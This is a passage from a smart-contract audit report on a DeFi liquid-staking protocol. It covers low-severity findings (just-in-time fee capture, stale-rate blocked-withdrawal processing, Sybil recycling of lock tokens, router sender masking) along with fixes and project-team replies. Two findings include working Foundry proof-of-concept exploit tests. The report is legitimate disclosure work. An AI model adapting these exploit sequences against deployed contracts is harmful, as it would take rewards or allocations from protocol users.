    if (exPhase != IEXManager.EXPhase.FUNDING) return;
    if (!whitelistEnabled) return;
    if (_isBonding(sender, recipient, sharesOut, data)) return;

    // Require sender matches recipient to prevent unauthorized cap
consumption
    if (sender != recipient) {
        revert Errors.UnauthorizedDepositor();
    }

    // ... existing signature verification and cap checks
}
```

If delegation remains necessary, introduce a richer struct that commits to the depositor and includes amount bounds and single-use nonces:

```
struct WhitelistUserData {
    address recipient;
    address authorizedDepositor; // or address(0) for any
    uint128 tier;
```

```
    uint128 maxSharesOut;
    uint256 nonce;
    uint256 deadline;
}
```

Track and consume nonces in a mapping to ensure each signature can be used only once. This preserves whitelist functionality while preventing reuse by unrelated parties.

COMMENTS

Project Team

Valid. Acknowledged in `a8a4a51` (PR #90). Griefing class with L-03 + L-12 — mitigation is whitelister policy of issuing per-recipient single-use signatures; pre-mainnet, mint cap reset is the operational fallback.

L-14 Just-in-time deposits can capture pending fee drips

Status Acknowledged

Severity Severity: Low ≈ Impact: Low × Likelihood: Medium

Summary

A depositor can mint EXLST immediately before a scheduled fee-staking transaction and capture a bounded pro-rata share of fees that accrued before they held any shares. The depositor receives EXLST at the pre-fee exchange rate, benefits from the subsequent fee stake that increases reserve value for all shares, and can then withdraw at the inflated rate. This redistributes a portion of fee value from incumbent holders to short-lived capital.

Description

The `EXManager.deposit()` function mints EXLST shares based on the reserve and supply state at the time of deposit, while `EXManager.stakeFees()` increases ghost LST reserves without minting any shares. When deposits and fee staking both occur in the LIVE phase, this creates an opportunity for extraction around observable fee-drip transactions.

The `deposit()` function caches `ghostReserves` and `totalSupply` before calling `_stake()`, then calculates shares using `_calcShares(ghostAmount, ghostReserves, totalSupply)` at the current exchange rate. The newly minted shares are immediately transferable and can be queued for withdrawal without a holding period or cooldown. When `stakeFees()` later executes, it stakes HYPE into the ghost LST reserve without minting additional EXLST, which increases the exchange rate for all existing shares.

The `StakeFeesThrottle.execute()` function performs fee staking as a discrete transaction executed by the protocol operator. The throttle computes a stake amount bounded by clearance pacing and an exchange-rate impact cap, but it does not implement an anti-sandwich mechanism or time-weighted fee eligibility. A depositor who front-runs this transaction can obtain a temporary share of total supply at the pre-fee rate, capture the pro-rata benefit when the fee stake executes, and then withdraw the inflated shares.

Per-drip extraction is structurally bounded. The stake amount is limited by `Constants.MAX_STAKE_FEES_IMPACT_BPS = 2000`, which caps the exchange-rate impact at 20%, and by `clearancePeriodSeconds` pacing in the throttle. The attack scales with available supply-cap headroom, pending fee size, withdrawal fees, and capital costs, but the same caps rate-limit meaningful extraction across cycles.

The extraction can repeat across fee-drip cycles whenever deposits are enabled, fee staking is observable, and the depositor can obtain a material share of total supply. Sustained just-in-time positioning is required for larger aggregate capture.

Impact Explanation

Incumbent EXLST holders may lose a portion of individual fee-compounding events to just-in-time depositors. The loss per event is bounded by the throttle's impact cap, clearance pacing, available supply-cap headroom, and withdrawal fees. Principal reserves remain intact, and the behavior does not break the LIVE reserve floor.

The protocol's intended fee-reinvestment economics may not fully enforce time-based exposure because rewards accrue based on instantaneous share ownership rather than exposure during the period when fees accrued. At scale, extraction is constrained by the 20% rate-impact ceiling and the throttle's pacing mechanism.

Likelihood Explanation

The attack uses public deposit and withdrawal functions and does not require a privileged role. Exploitation depends on a LIVE market with spare EXLST capacity or attacker-held shares, pending HYPE in the throttle, permissive gate state,

transaction-ordering access around the operator's `execute()` transaction, and economics where the captured fee share exceeds withdrawal fees and capital costs.

Any actor can attempt just-in-time capture, but the configured rate caps make large-scale extraction less economical. Larger aggregate gains require sustained just-in-time presence across multiple fee-drip cycles.

Affected Code

- `src/EXManager.sol:473-512`
- `src/base/LSTPayments.sol:59-70,166-199`
- `src/fee-distribution/StakeFeesThrottle.sol:83-130`
- `src/EXManager.sol:622-705,807-855`

Recommendation

Implement snapshot-based or time-weighted fee eligibility so shares minted after fees accrue do not participate in that pending drip. A snapshot mechanism can record total supply at an epoch boundary and distribute fee stakes only to shares that existed before the cutoff. Alternatively, introduce fee-eligible share classes or enforce a cooldown period between deposit and fee eligibility.

A partial mitigation is to keep per-drip impact caps conservative relative to withdrawal fees and capital costs, and to keep fee-staking transactions private or batched with other state transitions to reduce observability. These operational measures reduce exploitability but do not address the structural issue that newly minted shares immediately share in pending fee value.

The recommended approach preserves normal deposit and withdrawal functionality while ensuring fee value accrues to holders who were economically exposed during the period when the fees accumulated.

Proof-of-Concept

A proof-of-concept test demonstrates the following sequence:

1. A LIVE market is deployed with existing incumbent EXLST supply and remaining supply-cap headroom.
2. Fees accumulate in `StakeFeesThrottle` before the attacker deposits.
3. The attacker deposits HYPE immediately before the protocol operator executes the fee drip.
4. `StakeFeesThrottle.execute()` calls `EXManager.stakeFees()`, increasing ghost LST reserves without minting new EXLST.

5. The attacker's just-minted EXLST reflects the increased exchange rate.
6. The attacker withdraws and confirms through the normal withdrawal path, receiving more HYPE than deposited when the captured fee share exceeds fees and costs.

The proof of concept shows that pending fee value can be redistributed to just-in-time EXLST holders, while the practical extraction remains bounded by throttle caps, pacing, withdrawal fees, and available capital.

COMMENTS

Project Team

Severity adjustment (Medium → Low). Acknowledged in `a8a4a51` (PR #90). Per-drip extraction is tightly bounded by `Constants.MAX_STAKE_FEES_IMPACT_BPS = 2000` (20% rate-impact ceiling) plus `clearancePeriodSeconds` pacing — meaningful extraction requires sustained JIT presence across multiple cycles, which the same caps rate-limit. Full mitigation would require per-share fee accrual rework (time-weighted eligibility or share classes).

L-15 Permissionless blocked-withdrawal processing can lock users at a stale reward rate

Status: Acknowledged

Severity: Severity: Low ≈ Impact: Low × Likelihood: Medium

Summary

The `BlockedWithdrawalQueue` allows any caller to process blocked withdrawals by converting ghost LST shares into fixed HYPE-denominated KIP-2 withdrawal requests using the current exchange rate. When an oracle reward update is visible but not yet applied to the exchange rate, processing locks users at a stale rate and reallocates pending reward upside to remaining holders.

Description

Blocked withdrawals remain share-denominated in `BlockedWithdrawalQueue` until `processBlockedWithdrawals()` converts them into KIP-2 withdrawal requests at the current `kHYPEToHYPE()` exchange rate. The conversion snapshots a fixed `hypeAmount` per batch at queue time. KIP-2 withdrawal confirmation via

`SlashingAwareWithdrawalFacet` applies only downward adjustments for slashing; positive exchange-rate changes between queue time and confirmation time do not increase the payout.

In the two-step oracle flow, the protocol operator first publishes cumulative reward data to `DefaultOracle`, then calls `OracleManager.generatePerformance()` to apply the rewards to `ValidatorManager` and update the exchange rate in `StakingAccountant`. During the window after the oracle update is visible but before `generatePerformance()` is called, the exchange rate remains stale while the positive reward data is publicly observable.

Because `processBlockedWithdrawals()` is permissionless, any caller can process blocked withdrawals during this stale-rate window. Processing at that time locks the user's payout at the stale pre-reward exchange rate. When `generatePerformance()` subsequently applies the visible rewards and raises the exchange rate, the already-queued withdrawal does not benefit. The ghost shares are burned for only the pre-reward HYPE amount at confirmation, leaving the post-queue reward value for remaining holders through an increased exchange rate on the remaining supply.

Impact Explanation

Blocked-withdrawal users can lose reward upside on the BWQ position between consecutive oracle reward updates because an external party controls processing timing. The worst-case loss is bounded by `DefaultOracle.MIN_UPDATE_INTERVAL = 1 hour` and does not affect principal. The lost reward upside is captured by remaining EXLST holders rather than the exiting users.

Likelihood Explanation

The function is intentionally permissionless to remove operator coordination from BWQ drainage, and the provided PoC confirms an unprivileged caller can process entries after a `DefaultOracle` reward update but before `generatePerformance()` applies it. Exploitation requires existing blocked withdrawals, processable headroom or a feasible top-up deposit, a positive unapplied reward update, and transaction ordering in the gap between the two normal operator calls. The operator can race-front the call after material reward updates if economics warrant.

Affected Code

src/BlockedWithdrawalQueue.sol:162-237

- `processBlockedWithdrawals()`

src/BlockedWithdrawalQueue.sol:331-382

- `_confirmPartialWithdrawals()`
- `_adjustForSlashing()`
- `_confirmBatchWithdrawal()`

src/base/LSTPayments.sol:72-95

- `_processQueueWithdrawal()`
- `_confirmWithdrawal()`

src/facets/SlashingAwareWithdrawalFacet.sol:31-67

- `_processConfirmation()`

lib/lst/src/facets/QueuedWithdrawalFacet.sol:70-115, lib/lst/src/facets/QueuedWithdrawalFacet.sol:243-264

- `_queueWithdrawalInternal()`
- `_processConfirmation()`

lib/lst/src/StakingAccountant.sol:171-207

- `kHYPEToHYPE()`
- `_getExchangeRatio()`

Recommendation

Make blocked-withdrawal processing reward-epoch aware to prevent locking users at a stale rate during the oracle-update window. One approach is to require that reward metrics and `generatePerformance()` are applied atomically before public processing can use the rate, for example by requiring the operator to call both within a single transaction or by adding a time-based guard that prevents processing immediately after an oracle update. Alternatively, keep processed blocked-withdrawal claims share-denominated through confirmation so positive exchange-rate changes between processing and confirmation are passed through symmetrically with slashing reductions, preserving the user's economic exposure until final payout.

If the protocol intends for blocked users to stop earning rewards as soon as capacity appears, enforce deterministic processing rules and document the transition explicitly rather than leaving timing to arbitrary third parties with opposing incentives.

Proof-of-Concept

`test/PoC_BWQStaleReward.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {IERC20} from
"@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC20Metadata} from
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {DefaultOracle} from
"@kinetiq/lst/src/oracles/DefaultOracle.sol";
import {OracleAdapter} from
"@kinetiq/lst/src/oracles/DefaultAdapter.sol";
import {IActivationAdapter} from
"@kinetiq/launch/src/interfaces/IActivationAdapter.sol";
import {IBlockedWithdrawalQueue} from
"@kinetiq/launch/src/interfaces/IBlockedWithdrawalQueue.sol";
import {Constants} from "@kinetiq/launch/src/lib/Constants.sol";

import {BaseTest} from "./BaseTest.t.sol";
import {BlockedWithdrawalQueueTest} from
"./BlockedWithdrawalQueue.t.sol";
import {MockERC20} from "./mocks/MockERC20.sol";

contract PoCMockCoreWriter {
    event RawActionSent(bytes data);

    function sendRawAction(bytes calldata data) external {
        emit RawActionSent(data);
    }
}

/// @notice PoC for: permissionless BWQ processing can lock a
blocked user's claim at a stale
/// reward rate after DefaultOracle has published positive rewards
but before OracleManager applies
/// them to ValidatorManager/StakingAccountant.
contract PoC_BWQStaleReward is BlockedWithdrawalQueueTest {
    address internal constant CORE_WRITER =
0x3333333333333333333333333333333333333333;

    /// @dev Some public HyperEVM RPCs used by the default fork do
not retain the Circle vault code
    /// at all blocks. The PoC activates through USDH only, but
GlobalConfig's shared test fixture
    /// pre-registers USDC too, so mock the two read-only
registration calls when the fork lacks it.
    function setupFork() public virtual override {
        BaseTest.setupFork();
```

```
        // The PoC only needs a standard ERC20 activation token;
etch a test ERC20 at the USDH
        // address when the selected fork/RPC does not provide the
historical token code.
        if (USDH.code.length == 0) {
            MockERC20 usdhImpl = new MockERC20("USDH", "USDH", 6);
            vm.etch(USDH, address(usdhImpl).code);
        }
        if (CORE_WRITER.code.length == 0) {
            PoCMockCoreWriter mockCoreWriter = new
PoCMockCoreWriter();
            vm.etch(CORE_WRITER, address(mockCoreWriter).code);
        }
        vm.mockCall(USDC_CORE_WALLET,
abi.encodeWithSelector(IActivationAdapter.token.selector),
abi.encode(USDC));
        vm.mockCall(USDC,
abi.encodeWithSelector(IERC20Metadata.decimals.selector),
abi.encode(uint8(6)));

        BlockedWithdrawalQueueTest.setupFork();
    }

    function test_PoC_BWQStaleReward_FrontRunVisibleRewardUpdate()
public fork {
        // Victim exits a LIVE market. Because the market must keep
its minHypeStake floor, most of
        // the victim's claim remains share-denominated in the
public BlockedWithdrawalQueue.
        uint256 blockedWithdrawalId = _createBlockedWithdrawal();
        IBlockedWithdrawalQueue.BlockedWithdrawal memory bwBefore =

blockedWithdrawalQueue.blockedWithdrawal(blockedWithdrawalId);
        uint256 blockedGhostShares = bwBefore.totalGhostShares;
        assertGt(blockedGhostShares, 0, "victim has a blocked share-
denominated claim");

        // A remaining holder/attacker supplies fresh HYPE, creating
enough headroom for the public
        // queue processor to process the victim's blocked shares.
        address attacker = makeAddr("public processor / remaining
holder");
        uint256 topUp =
((exStakingAccountant.kHYPEToHYPE(blockedGhostShares) + 50_000
ether) / 1e10) * 1e10;
        vm.deal(attacker, topUp);
        vm.prank(attacker);
        exManager.deposit{value: topUp}(attacker, bytes(""));
        assertGt(IERC20(address(exLST)).balanceOf(attacker), 0,
```

```
"attacker remains exposed to the LST upside");

        uint256 staleGrossValue =
exStakingAccountant.kHYPEToHYPE(blockedGhostShares);
        assertEq(exStakingAccountant.totalRewards(), 0, "reward not
yet applied to exchange rate");

        // Realistic two-step oracle flow: the protocol operator has
already published cumulative
        // positive reward data to DefaultOracle. This data is
publicly visible, but it has not yet
        // been consumed by OracleManager.generatePerformance().
        DefaultOracle defaultOracle = new DefaultOracle(admin,
operator);
        OracleAdapter adapter = new
OracleAdapter(address(defaultOracle));
        vm.startPrank(manager);
        exOracleManager.authorizeOracleAdapter(address(adapter));
        exOracleManager.setOracleActive(address(adapter), true);
        vm.stopPrank();

        uint256 visibleCumulativeReward = 10_000 ether;
        uint256 oracleBalance = exStakingManager.totalStaked();
        vm.prank(operator);
        defaultOracle.updateValidatorMetrics(
            validator,
            oracleBalance,
            10_000,
            visibleCumulativeReward,
            0,
            block.number
        );
        (,, uint256 oracleReward,, uint256 oracleTimestamp) =
defaultOracle.getValidatorMetrics(validator);
        assertEq(oracleReward, visibleCumulativeReward, "positive
reward is visible in DefaultOracle");
        assertEq(oracleTimestamp, block.timestamp, "oracle update is
fresh");

assertEq(exStakingAccountant.kHYPEToHYPE(blockedGhostShares),
staleGrossValue, "rate is still stale");

        // Any public caller can now front-run generatePerformance
and permanently convert the
        // victim's BWQ shares into a fixed HYPE amount using the
stale exchange rate.
        uint256 smid =
exStakingManager.nextWithdrawalId(address(blockedWithdrawalQueue));
        vm.prank(attacker);
```

```
        blockedWithdrawalQueue.processBlockedWithdrawals(0);

        IBlockedWithdrawalQueue.BlockedWithdrawal memory
bwAfterProcess =

blockedWithdrawalQueue.blockedWithdrawal(blockedWithdrawalId);
        assertEq(bwAfterProcess.remainingGhostShares, 0, "victim
shares were processed at stale rate");
        assertEq(bwAfterProcess.queuedBatches.length, 1, "one fixed-
HYPE batch was created");
        assertEq(bwAfterProcess.queuedBatches[0].smid, smid, "batch
uses expected staking-manager id");

        uint256 staleFee = Math.mulDiv(staleGrossValue,
globalConfig.unstakeFeeRate(), Constants.BASIS_POINTS);
        uint256 staleNetOwed = staleGrossValue - staleFee;
        assertEq(bwAfterProcess.queuedBatches[0].hypeOwed,
staleNetOwed, "owed amount fixed at stale value");

        // The normal operator step then applies the same already-
visible reward to the accounting
        // exchange rate. The victim's queued batch does not receive
this positive adjustment.
        vm.prank(operator);
        assertTrue(exOracleManager.generatePerformance(validator),
"generatePerformance applies visible reward");
        assertGt(exStakingAccountant.totalRewards(), 0, "net reward
now raises the exchange rate");

        uint256 rewardAdjustedGrossValue =
exStakingAccountant.kHYPEToHYPE(blockedGhostShares);
        uint256 rewardAdjustedFee =
            Math.mulDiv(rewardAdjustedGrossValue,
globalConfig.unstakeFeeRate(), Constants.BASIS_POINTS);
        uint256 rewardAdjustedNetValue = rewardAdjustedGrossValue -
rewardAdjustedFee;
        assertGt(rewardAdjustedNetValue, staleNetOwed, "same shares
are worth more after reward application");

        // Confirming the victim's blocked withdrawal pays only the
stale fixed amount, proving a
        // concrete loss versus processing the same BWQ shares after
generatePerformance.
        _simulateL1ReturnForBWQ(smid);
        uint256[] memory indices = new uint256[](1);
        indices[0] = 0;
        uint256 victimBalanceBefore = user.balance;
        vm.prank(user);
        uint256 actualReceived =
```

```
blockedWithdrawalQueue.confirmBlockedWithdrawal(blockedWithdrawalId,
indices);

        assertEq(actualReceived, staleNetOwed, "victim receives
stale fixed payout");
        assertEq(user.balance - victimBalanceBefore, actualReceived,
"native HYPE transfer matches payout");
        assertGt(
            rewardAdjustedNetValue - actualReceived,
            0,
            "victim loses reward upside because a public caller
processed BWQ during the stale-rate window"
        );
    }
}
```

Command:

`forge test --match-path test/PoC_BWQStaleReward.t.sol --match-test test_PoC_BWQStaleReward_FrontRunVisibleRewardUpdate -q`

Impact:

The test passes and demonstrates a victim blocked withdrawal being permissionlessly processed at a stale exchange rate after positive rewards are visible in the oracle but before generatePerformance applies them. The victim later receives only the stale fixed HYPE payout, while the same shares are worth more after reward application.

COMMENTS

Project Team

Severity adjustment (Medium → Low). Acknowledged in `a8a4a51` (PR #90). `processBlockedWithdrawals` is intentionally permissionless to remove operator coordination from BWQ drainage. Worst-case loss is reward-upside on the BWQ position between consecutive oracle reward updates, bounded by `MIN_UPDATE_INTERVAL` (~1 hour). Operator can race-front the call after material reward updates if economics warrant.

L-16 TieredMintGate lock tokens can be recycled across Sybil addresses to bypass mint allocations

Status Acknowledged

Severity Severity: Low ≈ Impact: Low × Likelihood: Medium

Summary

`TieredMintGate` tracks mint allowances per recipient address rather than per lock-token position. If a market is configured with `lockDuration` shorter than the gated deposit phase, an attacker can claim locked tokens after `lockDuration` expires and transfer them to a new address that receives a fresh mint allowance. One lock-token position can sequentially qualify multiple Sybil recipients for full per-address allocations during the same gated deposit phase.

Description

`TieredMintGate.onDeposit()` in `src/gate/TieredMintGate.sol:173-199` determines a recipient's mint allowance by reading their current locked token balance via `locks[recipient].amount` and calling `_getAllowanceForAmount()`. The gate then verifies that `mintedShares[recipient] + sharesOut` does not exceed the tier-based allowance and updates the recipient's cumulative `mintedShares` counter.

The `claim()` function at lines 225-263 allows a user to withdraw locked tokens after `lockDuration` elapses and send them to any `recipient` address. The withdrawal logic validates only that the lock period has expired and the requested `amount` does not exceed the user's `locks[msg.sender].amount`. It does not require the caller to retain enough locked tokens to back their already consumed `mintedShares`.

This creates a reuse path when the gated phase remains open longer than `lockDuration`: an attacker locks tokens at address A, deposits up to the tier allowance, waits for `lockDuration`, claims the tokens to address B, and re-locks them at B. Because `mintedShares[B]` starts at zero, address B receives a fresh allowance backed by the same lock-token position. The process can repeat across additional Sybil addresses as long as the gated deposit phase remains open.

The behavior depends on deployer configuration. It is not reachable when `lockDuration` is greater than or equal to the full gated phase length, because the claim-and-relock cycle cannot complete before the gate stops enforcing deposits. Deployment guidance should require `lockDuration >= gated phase length` for markets that rely on `TieredMintGate` allocation control.

Impact Explanation

The behavior may allow mint allocations to be bypassed only when `lockDuration < gated phase length`, which is a deployer-side misconfiguration. In that

configuration, an attacker with sufficient HYPE can convert one transferable lock-token position into multiple full per-recipient mint allowances, consuming scarce EXLST supply-cap capacity and crowding out users whose allocations were intended to be weighted by locked token holdings. The issue does not steal protocol funds or create unbacked shares, and it can be avoided through correct deployment parameters.

Likelihood Explanation

If a market is deployed with `TieredMintGate` on a deposit phase that remains open longer than the configured `lockDuration`, exploitation is straightforward and can be performed by any external actor that controls the lock tokens, HYPE for deposits, and Sybil addresses. The path is configuration-dependent and not exploitable if the gate is absent, if `lockDuration` covers the entire gated deposit window, or if no meaningful mint capacity remains.

Affected Code

src/gate/TieredMintGate.sol:173-199

- `onDeposit()`
- `locks` mapping
- `mintedShares` mapping

src/gate/TieredMintGate.sol:225-263

- `claim()`

src/gate/TieredMintGate.sol:323-334

- `_getAllowanceForAmount()`

src/EXManager.sol:483-512, src/EXManager.sol:740-751

- `deposit()`
- `_onDeposit()`

src/EXRouter.sol:63-71

- `deposit()`

Recommendation

For markets using `TieredMintGate`, configure `lockDuration` to be greater than or equal to the full duration of every gated deposit phase. This prevents a claim-and-relock cycle from completing while the gate still enforces deposits.

Deployment guidance should make this requirement explicit for any market that relies on lock-token-weighted mint allocations:

```
lockDuration >= gated phase length
```

This deployer-side mitigation keeps `TieredMintGate` simple and avoids adding per-position accounting complexity to a deployer-chosen gate. As an optional hardening measure, the contract could also prevent claims from reducing a user's locked balance below the tier needed to support their already consumed `mintedShares` while the gate can still enforce deposits:

```
function claim(uint256 amount, address recipient) external
whenNotPaused {
    require(recipient != address(0), Errors.EmptyAddress());
    Lock storage userLock = locks[msg.sender];

    unchecked {
        uint128 timeSince = uint128(block.timestamp) -
userLock.lockTime;
        if (timeSince < lockDuration) revert StillLocked();
    }

    require(amount.toUint128() <= userLock.amount,
Errors.InvalidAmount());

    uint256 newLockedAmount = userLock.amount - amount;
    // Require remaining locked amount to support already consumed
mints
    uint256 requiredAllowance = mintedShares[msg.sender];
    if (_getAllowanceForAmount(newLockedAmount) < requiredAllowance)
{
        revert InsufficientLockedAmount();
    }

    userLock.amount -= uint128(amount);
    lockToken.safeTransfer(recipient, amount);

    emit Claimed(msg.sender, recipient, amount, userLock.amount);
}
```

If contract-level hardening is preferred, the gate could also store an immutable gate end time during initialization and enforce the backing check until that time.

Proof-of-Concept

`test/PoC_TieredMintGateSybil.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {IERC20} from
"@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeablePro
xy.sol";

import {EXFactoryTest} from "./EXFactory.t.sol";
import {MockERC20} from "@kinetiq/launch/test/mocks/MockERC20.sol";
import {EXLST} from "@kinetiq/launch/src/EXLST.sol";
import {EXManager} from "@kinetiq/launch/src/EXManager.sol";
import {IEXFactory} from
"@kinetiq/launch/src/interfaces/IEXFactory.sol";
import {IEXManager} from
"@kinetiq/launch/src/interfaces/IEXManager.sol";
import {TieredMintGate} from
"@kinetiq/launch/src/gate/TieredMintGate.sol";

/// @notice PoC: TieredMintGate lets one lock-token position be
reused across Sybil recipients.
/// @dev This uses the real factory/manager/router deployment path.
The gate is configured for the
///      LAUNCHING deposit phase so the operator bond can complete
in FUNDING, then deposits are made
///      through the real EXRouter into the real EXManager hook.
contract PoC_TieredMintGateSybil is EXFactoryTest {
    address internal sybilA = makeAddr("sybilA");
    address internal sybilB = makeAddr("sybilB");

    uint256 internal constant LOCK_DURATION = 1 hours;
    uint256 internal constant LOCK_AMOUNT = 1 ether;
    uint256 internal constant TIER_MINT_ALLOWANCE = 10 ether;

    function
test_PoC_TieredMintGate_lockTokensRecycledAcrossSybilRecipients()
public fork {
        // EXFactory deploys the Router first and EXManager second
using CREATE. Precomputing the
        // EXManager address lets a realistic market deployer
initialize the gate before passing it
        // into MarketParams.gate.
        address predictedExManager =
```

```
vm.computeCreateAddress(address(factory),
vm.getNonce(address(factory)) + 1);
        (TieredMintGate gate, MockERC20 lockToken) =
_deployTieredGate(predictedExManager);

        IEXFactory.MarketParams memory params =
_defaultMarketParams();
        params.gate = address(gate);

        vm.deal(deployer, params.opBond);
        vm.prank(deployer);
        (bytes32 marketId, address exManagerAddr) =
factory.deployMarket{value: params.opBond}(params);
        assertEq(exManagerAddr, predictedExManager, "gate is
authorized to the deployed EXManager");

        EXManager exMgr = EXManager(payable(exManagerAddr));
        EXLST exLst = EXLST(address(exMgr.exLST()));

        // Activate and bond the market, then move to LAUNCHING
where this gate is enforced.
        address routerAddr = address(exMgr.exStakingManager());
        deal(USDH, marketOperator, 1e6);
        vm.startPrank(marketOperator);
        IERC20(USDH).approve(address(factory), 1e6);
        factory.activateMarket(marketId, USDH_TOKEN_ID, 1e6);
        vm.stopPrank();
        mockL1Read.setCoreUserExists(routerAddr, true);

        vm.prank(deployer);
        factory.bondMarket(marketId);

        // Bring the market up to the tier floor. The PoC gate is
deliberately configured for
        // LAUNCHING, so normal FUNDING deposits are still pass-
through and the operator can fund.
        uint256 topUpToTierFloor =
globalConfig.marketTiers(params.marketTier).minHypeStake -
params.opBond;
        address bootstrapDepositor = makeAddr("bootstrapDepositor");
        vm.deal(bootstrapDepositor, topUpToTierFloor);
        vm.prank(bootstrapDepositor);
        exRouter.deposit{value: topUpToTierFloor}
(IEXManager(exManagerAddr), bootstrapDepositor, "");

        vm.prank(marketOperator);
        exMgr.fund();
        assertEq(uint256(exMgr.exPhase()),
uint256(IEXManager.EXPhase.LAUNCHING));
```

```
        // Sybil A locks enough tokens for one tier allocation and
consumes the full allowance.
        lockToken.mint(sybilA, LOCK_AMOUNT);
        vm.startPrank(sybilA);
        lockToken.approve(address(gate), type(uint256).max);
        gate.lock(LOCK_AMOUNT);
        vm.stopPrank();

        vm.deal(sybilA, TIER_MINT_ALLOWANCE + 1 ether);
        vm.prank(sybilA);
        uint256 sharesA = exRouter.deposit{value:
TIER_MINT_ALLOWANCE}(IEXManager(exManagerAddr), sybilA, "");
        assertEq(sharesA, TIER_MINT_ALLOWANCE);
        assertEq(gate.mintedShares(sybilA), TIER_MINT_ALLOWANCE,
"sybil A consumed its cap");

        // The per-recipient cap is real: the same recipient cannot
mint any more at this tier.
        vm.prank(sybilA);
        vm.expectRevert(TieredMintGate.MintCapExceeded.selector);
        exRouter.deposit{value: 1 ether}(IEXManager(exManagerAddr),
sybilA, "");

        // After the minimum lock period, A can withdraw the same
lock tokens to B. claim() does not
        // require A's already-consumed allocation to remain backed
by locked tokens.
        vm.warp(block.timestamp + LOCK_DURATION);
        vm.prank(sybilA);
        gate.claim(LOCK_AMOUNT, sybilB);

        (uint128 sybilALocked,) = gate.locks(sybilA);
        assertEq(sybilALocked, 0, "sybil A no longer backs its
consumed allocation");

        // Sybil B re-locks the exact same token position and
receives a fresh per-address counter.
        vm.startPrank(sybilB);
        lockToken.approve(address(gate), type(uint256).max);
        gate.lock(LOCK_AMOUNT);
        vm.stopPrank();

        vm.deal(sybilB, TIER_MINT_ALLOWANCE);
        vm.prank(sybilB);
        uint256 sharesB = exRouter.deposit{value:
TIER_MINT_ALLOWANCE}(IEXManager(exManagerAddr), sybilB, "");
        assertEq(sharesB, TIER_MINT_ALLOWANCE);
        assertEq(gate.mintedShares(sybilB), TIER_MINT_ALLOWANCE,
```

```
"sybil B received a fresh cap");

        uint256 totalSybilShares = exLst.balanceOf(sybilA) +
exLst.balanceOf(sybilB);
        assertEq(totalSybilShares, 2 * TIER_MINT_ALLOWANCE, "one
lock position minted two allocations");
        assertGt(totalSybilShares, TIER_MINT_ALLOWANCE, "allocation
policy bypassed");
        assertEq(lockToken.balanceOf(address(gate)), LOCK_AMOUNT,
"only one lock-token position is locked");
    }

    function _deployTieredGate(address authorizedCaller)
        internal
        returns (TieredMintGate gate, MockERC20 lockToken)
    {
        lockToken = new MockERC20("Allocation Lock Token", "aLOCK",
18);

        TieredMintGate.Tier[] memory tiers = new
TieredMintGate.Tier[](1);
        tiers[0] = TieredMintGate.Tier({minLockAmount:
uint128(LOCK_AMOUNT), mintAllowance: uint128(TIER_MINT_ALLOWANCE)});

        IEXManager.EXPhase[] memory gatedPhases = new
IEXManager.EXPhase[](1);
        gatedPhases[0] = IEXManager.EXPhase.LAUNCHING;

        TieredMintGate impl = new TieredMintGate();
        TransparentUpgradeableProxy proxy = new
TransparentUpgradeableProxy(
            address(impl),
            admin,
            abi.encodeCall(
                TieredMintGate.initialize,
                (address(pauserRegistry), authorizedCaller,
address(lockToken), LOCK_DURATION, tiers, gatedPhases)
            )
        );
        gate = TieredMintGate(address(proxy));
    }
}
```

Command:

```
MAINNET_RPC_URL=https://rpc.hypurrscan.io forge test --match-path
test/PoC_TieredMintGateSybil.t.sol --match-test
test_PoC_TieredMintGate_lockTokensRecycledAcrossSybilRecipients -q
```

Impact:

The passing PoC demonstrates that one lock-token position can sequentially qualify multiple Sybil recipients for full TieredMintGate allocations when `lockDuration` is shorter than the gated phase. Sybil A consumes the full mint cap, claims the same lock tokens after `lockDuration`, transfers them to Sybil B, and Sybil B receives a fresh cap. Final assertions show 2x the tier allowance minted while only one lock-token position remains locked.

COMMENTS

Project Team

Severity adjustment (Medium → Low). Acknowledged (docs) in `a8a4a51` (PR #90). Deployer mitigation: set `lockDuration ≥ gated phase length` so claim-and-relock cycles cannot complete within the gated window. Per-position tracking would balloon TieredMintGate complexity for a deployer-chosen gate; deployer awareness is the simpler defense. Documented in deployment guidance.

I-01 EXRouter obscures the original withdrawer from sender-based withdrawal gates

Status: Acknowledged

Severity: Severity: Informational ≈ Impact: Low × Likelihood: Low

Summary

EXRouter's withdrawal path causes the router contract address rather than the share holder to be forwarded as the `sender` parameter to gate hooks. Markets that configure sender-based withdrawal policies, such as holding periods, cooldowns, or allowlists, are incompatible with EXRouter and require direct `EXManager` interactions. This is a documented routing constraint rather than unintended behavior.

Description

When a user withdraws directly via `EXManager.withdraw()`, the manager forwards `msg.sender` to the configured gate's `onWithdraw()` hook. When a user withdraws through `EXRouter.withdraw()`, the router pulls the user's exLST shares and becomes `msg.sender` inside the manager. `EXManager.withdraw()` then forwards

this router address as the gate `sender`. The gate receives `sender == EXRouter` for routed withdrawals but `sender == actual_user` for direct withdrawals of the same shares.

The `IEXGate.onWithdraw()` interface documents `sender` as "the address initiating the withdrawal." In the routed path, the initiating address at the manager layer is the router. The `EXManager.deposit()` and `EXManager.withdraw()` `data` parameter is forwarded faithfully to the gate; only `msg.sender` differs from a direct call. `CompositeGate` and `MultiplexerGate` propagate the received `sender` value unchanged to sub-gates.

Sender-based gate policies, including holding-period gates and sender allowlists, should therefore use direct `EXManager` interactions rather than EXRouter. This incompatibility is documented in EXRouter natspec and in the README gate-trust-model section.

Impact Explanation

Markets that enforce sender-based withdrawal policies may experience inconsistent behavior if they combine those policies with EXRouter. Direct withdrawals evaluate the policy against the user calling `EXManager.withdraw()`, while routed withdrawals evaluate it against the shared router address. A sender-based gate may permit or reject routed withdrawals based on router handling rather than individual user state.

This does not compromise custody or allow theft of other users' funds. The practical impact is limited to integrator configuration: sender-based withdrawal gates are incompatible with EXRouter and should require direct `EXManager` calls.

Likelihood Explanation

The condition requires an integrator to use EXRouter with sender-based gate policies despite the documented incompatibility. The provided routing behavior is explicit: EXRouter calls `EXManager.withdraw()`, so `msg.sender` at the manager is the router. The standard forwarding of the `data` parameter remains unchanged.

Affected Code

- `src/EXRouter.sol:74–105`
- `src/EXManager.sol:516–570,754–769`
